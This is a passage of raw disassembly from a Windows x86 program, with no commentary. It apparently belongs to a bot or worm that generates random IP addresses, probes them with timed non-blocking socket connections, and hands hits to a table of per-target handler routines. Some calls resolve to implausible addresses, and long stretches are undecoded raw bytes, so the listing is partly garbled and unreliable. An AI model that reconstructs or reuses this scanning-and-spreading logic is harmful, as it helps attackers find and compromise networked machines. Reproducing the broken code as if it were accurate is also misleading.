dword_4CB508, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CB7A0, eax jnz short loc_40BE2F lea eax, [ebp+arg_10] push eax push offset dword_4CB720 call sub_41BD70 add esp, 0Ch mov dword_4CB7A4, 1 jmp short loc_40BE49 ; --------------------------------------------------------------------------- loc_40BE2F: ; CODE XREF: sub_40BD7C+94j lea eax, [ebp+arg_90] push eax push offset dword_4CB720 call sub_41BD70 add esp, 0Ch mov dword_4CB7A4, ebx loc_40BE49: ; CODE XREF: sub_40BD7C+B1j push esi lea eax, [ebp+var_204] push dword_4CB71C push offset unk_42C208 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3AD add esp, 1Ch mov dword_4CB714, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB508 push offset byte_412155 push ebx push ebx nop call near ptr 269009Ch mov ecx, dword_4CB714 imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40BEB7 loc_40BEA5: ; CODE XREF: sub_40BD7C+139j cmp dword_4CB7A8, ebx jnz short loc_40BED2 push 32h nop call near ptr 2690000h jmp short loc_40BEA5 ; --------------------------------------------------------------------------- loc_40BEB7: ; CODE XREF: sub_40BD7C+127j nop call near ptr 26908A7h push eax lea eax, [ebp+var_204] push offset unk_431E60 push eax call sub_41C006 add esp, 0Ch loc_40BED2: ; CODE XREF: sub_40BD7C+12Fj lea eax, [ebp+var_204] push eax call sub_415CEE mov eax, dword_4C9040 mov esi, offset dword_4CB7B4 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CB9C4, eax mov dword_4CB9C0, ebx call near ptr 2680000h nop push 103h push edi push offset dword_4CB8B8 call sub_41BD70 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CB7B0, eax mov eax, [ebp+arg_138] pop edi mov dword_4CBA48, eax push 7Fh jnz short loc_40BF53 lea eax, [ebp+arg_10] push eax push offset dword_4CB9C8 call sub_41BD70 add esp, 0Ch mov dword_4CBA4C, 1 jmp short loc_40BF6D ; --------------------------------------------------------------------------- loc_40BF53: ; CODE XREF: sub_40BD7C+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CB9C8 call sub_41BD70 add esp, 0Ch mov dword_4CBA4C, ebx loc_40BF6D: ; CODE XREF: sub_40BD7C+1D5j push esi lea eax, [ebp+var_204] push dword_4CB9C4 push offset unk_431E2C push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3AD add esp, 1Ch mov dword_4CB9BC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB7B0 push offset word_40F37A push ebx push ebx call near ptr 269009Ch nop mov ecx, dword_4CB9BC imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40BFDB loc_40BFC9: ; CODE XREF: sub_40BD7C+25Dj cmp dword_4CBA50, ebx jnz short loc_40BFF6 push 32h call near ptr 2690000h nop jmp short loc_40BFC9 ; --------------------------------------------------------------------------- loc_40BFDB: ; CODE XREF: sub_40BD7C+24Bj nop call near ptr 26908A7h push eax lea eax, [ebp+var_204] push offset unk_431DF8 push eax call sub_41C006 add esp, 0Ch loc_40BFF6: ; CODE XREF: sub_40BD7C+253j lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C003: ; CODE XREF: sub_40BD7C+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43181C[ecx], ebx jz loc_40C12C push 7 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C126 mov eax, dword_4CC050 cmp [ebp+arg_90], bl mov dword_4CB474, eax mov eax, [ebp+arg_110] mov dword_4CB468, eax mov eax, [ebp+arg_138] mov dword_4CB470, ebx mov dword_4CB4F8, eax push 7Fh jnz short loc_40C077 lea eax, [ebp+arg_10] push eax push offset dword_4CB478 call sub_41BD70 add esp, 0Ch mov dword_4CB4FC, 1 jmp short loc_40C091 ; --------------------------------------------------------------------------- loc_40C077: ; CODE XREF: sub_40BD7C+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CB478 call sub_41BD70 add esp, 0Ch mov dword_4CB4FC, ebx loc_40C091: ; CODE XREF: sub_40BD7C+2F9j push dword_4CB474 lea eax, [ebp+var_204] push offset unk_431DC8 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3AD add esp, 18h mov dword_4CB46C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB468 push offset dword_40F0D8 push ebx push ebx call near ptr 269009Ch nop mov ecx, dword_4CB46C imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C0FE loc_40C0EC: ; CODE XREF: sub_40BD7C+380j cmp dword_4CB500, ebx jnz short loc_40C119 push 32h nop call near ptr 2690000h jmp short loc_40C0EC ; --------------------------------------------------------------------------- loc_40C0FE: ; CODE XREF: sub_40BD7C+36Ej nop call near ptr 26908A7h push eax lea eax, [ebp+var_204] push offset unk_431D90 push eax call sub_41C006 add esp, 0Ch loc_40C119: ; CODE XREF: sub_40BD7C+376j lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C126: ; CODE XREF: sub_40BD7C+2A8j mov eax, [ebp+arg_130] loc_40C12C: ; CODE XREF: sub_40BD7C+298j shl eax, 6 cmp dword_431818[eax], ebx jz loc_40C24E push 3 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C24E mov esi, offset dword_4CBCE4 push 104h push esi push ebx nop call near ptr 2680000h push 5Ch push esi call sub_41C5B0 pop ecx cmp eax, ebx pop ecx jz short loc_40C16D mov [eax], bl loc_40C16D: ; CODE XREF: sub_40BD7C+3EDj mov eax, dword_42907C mov dword_4CBDFC, ebx mov dword_4CBDE8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CBA5C call sub_41C006 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CBA58, eax mov ecx, [ebp+arg_138] push esi push dword_4CBDE8 mov dword_4CBDF4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CBDF8, ecx call sub_40A9FA pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C190 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3AD add esp, 20h mov dword_4CBDF0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CBA58 push offset sub_40FAA3 push ebx push ebx call near ptr 269009Ch nop mov ecx, dword_4CBDF0 imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C226 loc_40C214: ; CODE XREF: sub_40BD7C+4A8j cmp dword_4CBE04, ebx jnz short loc_40C241 push 32h nop call near ptr 2690000h jmp short loc_40C214 ; --------------------------------------------------------------------------- loc_40C226: ; CODE XREF: sub_40BD7C+496j nop call near ptr 26908A7h push eax lea eax, [ebp+var_204] push offset unk_431D5C push eax call sub_41C006 add esp, 0Ch loc_40C241: ; CODE XREF: sub_40BD7C+49Ej lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C24E: ; CODE XREF: sub_40BD7C+14j ; sub_40BD7C+25j ... pop esi pop ebx leave retn sub_40BD7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C252 proc near ; CODE XREF: sub_40C3D3:loc_40C444p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4C9450h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CAB0 add esp, 0Ch push [ebp+arg_0] call dword_4C922C inc eax push eax mov [ebp+arg_0], eax call dword_4C9300 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CAB0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C29A proc near ; CODE XREF: sub_40C3D3+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B960 cmp eax, 0Fh pop ecx jbe short loc_40C2C2 xor eax, eax jmp short loc_40C333 ; --------------------------------------------------------------------------- loc_40C2C2: ; CODE XREF: sub_40C29A+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CA73 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C2EF call sub_41C062 mov [ebp+var_C], eax loc_40C2EF: ; CODE XREF: sub_40C29A+4Bj cmp [ebp+var_8], esi jnz short loc_40C2FC call sub_41C062 mov [ebp+var_8], eax loc_40C2FC: ; CODE XREF: sub_40C29A+58j cmp [ebp+var_4], esi jnz short loc_40C309 call sub_41C062 mov [ebp+var_4], eax loc_40C309: ; CODE XREF: sub_40C29A+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C315 call sub_41C062 loc_40C315: ; CODE XREF: sub_40C29A+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4C9450[ecx*8], eax loc_40C333: ; CODE XREF: sub_40C29A+26j pop esi leave retn sub_40C29A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C336 proc near ; CODE XREF: ___:0040BBADp ; sub_40C3D3+B8p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4C9384 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C35F xor eax, eax jmp short loc_40C3CE ; --------------------------------------------------------------------------- loc_40C35F: ; CODE XREF: sub_40C336+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4C9304 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4C93A0 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4C92AC mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4C92EC push esi mov edi, eax call dword_4C939C xor eax, eax cmp edi, ebx setnle al loc_40C3CE: ; CODE XREF: sub_40C336+27j pop edi pop esi pop ebx leave retn sub_40C336 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3D3 proc near ; DATA XREF: sub_40C3D3+34Fo var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26A06B3h push eax call sub_41C058 mov ebx, esi pop ecx imul ebx, 234h loc_40C41A: ; CODE XREF: sub_40C3D3+200j mov eax, dword_43C244[ebx] cmp dword_4C9454[eax*8], 0 jz loc_40C5D8 cmp [ebp+var_10], 0 push eax jz short loc_40C444 lea eax, [ebp+var_150] push eax call sub_40C29A pop ecx jmp short loc_40C449 ; --------------------------------------------------------------------------- loc_40C444: ; CODE XREF: sub_40C3D3+60j call sub_40C252 loc_40C449: ; CODE XREF: sub_40C3D3+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43C244[ebx] push [ebp+var_3C] push edi call dword_4C9390 push eax lea eax, [ebp+var_28C] push offset unk_431EBC push eax call sub_41C006 lea eax, [ebp+var_28C] push eax lea eax, dword_43C040[ebx] push eax call sub_41C006 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C336 add esp, 2Ch cmp eax, 1 jnz loc_40C5C8 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C51D push offset dword_4CB450 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4C9390 push eax lea eax, [ebp+var_28C] push offset unk_431E94 push eax call sub_41C006 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C4FF cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C4F3 lea eax, [ebp+var_140] loc_40C4F3: ; CODE XREF: sub_40C3D3+118j push eax push [ebp+var_40] call sub_409862 add esp, 14h loc_40C4FF: ; CODE XREF: sub_40C3D3+FDj lea eax, [ebp+var_28C] push eax call sub_415CEE mov [esp+29Ch+var_29C], offset dword_4CB450 call near ptr 77F7E300h nop jmp loc_40C5C8 ; --------------------------------------------------------------------------- loc_40C51D: ; CODE XREF: sub_40C3D3+CDj push edi call dword_4C9390 push eax lea eax, [ebp+var_208] push eax call sub_41C006 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C006 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C561 lea eax, [ebp+var_140] loc_40C561: ; CODE XREF: sub_40C3D3+186j push eax lea eax, [ebp+var_1F8] push eax call sub_41C006 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43180C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5C8: ; CODE XREF: sub_40C3D3+C3j ; sub_40C3D3+145j push 7D0h nop call near ptr 2690000h jmp loc_40C41A ; --------------------------------------------------------------------------- loc_40C5D8: ; CODE XREF: sub_40C3D3+55j push esi call sub_40B6C9 pop ecx push 0 nop call near ptr 26F0000h loc_40C5E7: ; DATA XREF: sub_401AC7+1F1Ao ; sub_401AC7+5BC4o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4C9344 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4C9450[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD7C push 0Bh call sub_40B5F5 add esp, 150h cmp eax, ebx jnz short loc_40C6B5 mov esi, offset dword_4CB450 push esi call near ptr 26F06F6h nop push 80000400h push esi call near ptr 26F0594h nop test eax, eax jnz short loc_40C6B5 lea eax, [ebp+var_1CC] push offset unk_431FA0 push eax call sub_41C006 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C69F push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409862 add esp, 14h loc_40C69F: ; CODE XREF: sub_40C3D3+2ADj lea eax, [ebp+var_1CC] push eax call sub_415CEE pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6B5: ; CODE XREF: sub_40C3D3+277j ; sub_40C3D3+293j mov eax, [ebp+var_2C] mov esi, dword_427088 mov edi, ebx mov dword_4C9454[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C782 loc_40C6D3: ; CODE XREF: sub_40C3D3+3A9j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F6C push eax call sub_41C006 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3AD mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43C244[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3D3 push ebx push ebx call near ptr 269009Ch nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C74D loc_40C742: ; CODE XREF: sub_40C3D3+378j cmp [ebp+var_4], ebx jnz short loc_40C774 push 1Eh call esi jmp short loc_40C742 ; --------------------------------------------------------------------------- loc_40C74D: ; CODE XREF: sub_40C3D3+36Dj call near ptr 26908A7h nop push eax lea eax, [ebp+var_1CC] push offset unk_431F34 push eax call sub_41C006 lea eax, [ebp+var_1CC] push eax call sub_415CEE add esp, 10h loc_40C774: ; CODE XREF: sub_40C3D3+372j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6D3 loc_40C782: ; CODE XREF: sub_40C3D3+2FAj cmp [ebp+var_30], ebx jz loc_40C82C mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C797: ; CODE XREF: sub_40C3D3+464j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4C9450[eax*8] push eax call dword_4C9390 push eax lea eax, [ebp+var_1CC] push offset unk_431EF4 push eax call sub_41C006 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7E5 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409862 add esp, 14h loc_40C7E5: ; CODE XREF: sub_40C3D3+3F3j lea eax, [ebp+var_1CC] push eax call sub_415CEE mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4C9454[eax*8], ebx call esi push 0Bh call sub_40B5F5 cmp eax, 1 pop ecx jnz short loc_40C81C push offset dword_4CB450 nop call near ptr 26F06F6h loc_40C81C: ; CODE XREF: sub_40C3D3+43Cj push [ebp+var_2C] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_40C82C: ; CODE XREF: sub_40C3D3+3B2j ; sub_40C3D3+471j mov eax, [ebp+var_2C] cmp dword_4C9454[eax*8], 1 jnz loc_40C797 push 7D0h call esi jmp short loc_40C82C sub_40C3D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C846 proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4C9304 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4C9384 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C904 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4C92AC mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43C24C[ecx], esi jz short loc_40C904 push [ebp+var_38] push [ebp+var_28] call dword_4C9390 push eax mov edi, offset dword_4CBE14 push offset dword_431FD4 push edi call sub_41C006 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409862 push edi call sub_415CEE add esp, 28h loc_40C904: ; CODE XREF: sub_40C846+5Dj ; sub_40C846+7Ej push esi call dword_4C939C pop edi xor eax, eax pop esi leave retn 4 sub_40C846 endp ; --------------------------------------------------------------------------- byte_40C913 db 55h ; DATA XREF: sub_401AC7+5FA4o dd 0EC81EC8Bh, 134h, 85D8B53h, 2B6A5756h, 8D59F38Bh, 0FFFF4CBDh dd 8BA5F3FFh, 42708835h, 0A483C700h, 1000000h, 33000000h dd 0D075FFFFh, 0FFE075FFh, 4C939015h, 858D5000h, 0FFFFFECCh dd 431FFC68h, 0A7E85000h, 8D0000F6h, 0FFFECC85h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 43C04005h, 0F1E85000h dd 830000F3h, 458D1CC4h, 858D50F8h, 0FFFFFF4Ch, 46685057h dd 570040C8h, 3702E857h, 3B900228h, 0FC4589C7h, 7D390B74h dd 6A0675F4h, 0EBD6FF32h, 0FC75FFF5h, 26364BE8h, 0B3FF9002h dd 8Ch, 0A8BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 0DDE85008h dd 83000100h, 75FF0CC4h, 2C15FF08h, 40004C92h, 8458950h dd 930015FFh, 4589004Ch, 8458D08h, 8D50046Ah, 0E850E045h dd 100B4h, 0E90CC483h, 0FFFFFF3Dh dword_40CA04 dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401AC7+5CCAo dd 0FF50BD8Dh, 0A5F3FFFFh, 7088358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E475FFD4h, 939015FFh, 8D50004Ch, 0FFFED085h dd 205068FFh, 0E8500043h, 0F5B6h, 0FED0858Dh, 0FF68FFFFh dd 50000001h, 69E0458Bh, 234C0h, 0C0400500h, 0E8500043h dd 0F300h, 8D1CC483h, 8D50FC45h, 0FFFF5085h, 685057FFh dd 40C846h, 0E8905757h, 2283610h, 4589C73Bh, 390B7408h dd 675F87Dh, 0D6FF326Ah, 75FFF5EBh, 59E89008h, 0FF022635h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0D4458BD6h, 74D8453Bh dd 0D445FF08h, 0FFFF6DE9h, 0E475FFFFh, 939015FFh, 8D50004Ch dd 0FFFED085h, 202468FFh, 0E8500043h, 0F526h, 0D0858D57h dd 0FFFFFFFEh, 8D50EC75h, 0FFFF5485h, 0B5FF50FFh, 0FFFFFF50h dd 0FFCD65E8h, 0E075FFFFh, 0FFEBC4E8h, 24C483FFh, 5E5FC033h dd 4C2C95Bh db 0 ; =============== S U B R O U T I N E ======================================= sub_40CB11 proc near ; CODE XREF: sub_40CD85+Ep ; sub_40CD85+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB11 endp ; =============== S U B R O U T I N E ======================================= sub_40CB1B proc near ; CODE XREF: sub_40CD85+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BC9B mov edi, eax pop ecx test edi, edi jz short loc_40CB4D push ebx push 0 push edi call sub_41BD10 push ebx push [esp+1Ch+arg_0] push edi call sub_41CAB0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB4D: ; CODE XREF: sub_40CB1B+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB55 proc near ; CODE XREF: sub_40CC4F+18p ; sub_40CCC9+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BC9B mov esi, eax pop ecx test esi, esi jz short loc_40CBA1 push edi push 0 push esi call sub_41BD10 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CAB0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CAB0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBA1: ; CODE XREF: sub_40CB55+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB55 endp ; =============== S U B R O U T I N E ======================================= sub_40CBAA proc near ; CODE XREF: sub_40CC4F+5Ep ; sub_40CC4F+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBBA push eax call sub_41BA31 pop ecx loc_40CBBA: ; CODE XREF: sub_40CBAA+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBAA endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC4F+20p ; sub_40CD2A+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CBF0 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BC9B mov edi, eax pop ecx test edi, edi jnz short loc_40CBF4 loc_40CBF0: ; CODE XREF: sub_40CBC3+Dj xor al, al jmp short loc_40CC4B ; --------------------------------------------------------------------------- loc_40CBF4: ; CODE XREF: sub_40CBC3+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BD10 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC19 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC33 ; --------------------------------------------------------------------------- loc_40CC19: ; CODE XREF: sub_40CBC3+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC33: ; CODE XREF: sub_40CBC3+54j push eax call sub_41CAB0 add esp, 0Ch push dword ptr [esi] call sub_41BA31 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC4B: ; CODE XREF: sub_40CBC3+2Fj pop edi pop esi pop ebx retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC4F proc near ; CODE XREF: sub_40CD85+89p ; sub_40CD85+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4C91BC call sub_40CB55 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+var_4] inc eax push eax call sub_41BC9B mov edi, eax pop ecx test edi, edi jnz short loc_40CC89 xor al, al jmp short loc_40CCC5 ; --------------------------------------------------------------------------- loc_40CC89: ; CODE XREF: sub_40CC4F+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BD10 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CAB0 add esp, 18h mov ecx, esi call sub_40CBAA mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBAA mov al, 1 loc_40CCC5: ; CODE XREF: sub_40CC4F+38j pop edi pop esi leave retn sub_40CC4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCC9 proc near ; CODE XREF: sub_40CCFD+14p ; sub_40CD1A+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB55 mov ecx, esi call sub_40CBAA mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCC9 endp ; =============== S U B R O U T I N E ======================================= sub_40CCFD proc near ; CODE XREF: sub_40CD85+F0p ; sub_40CD85+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B960 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCC9 pop esi retn 4 sub_40CCFD endp ; =============== S U B R O U T I N E ======================================= sub_40CD1A proc near ; CODE XREF: sub_40CD66+Bp ; sub_40CD85+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCC9 retn 8 sub_40CD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD2A proc near ; CODE XREF: sub_40CD66+16p ; sub_40CD85+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call 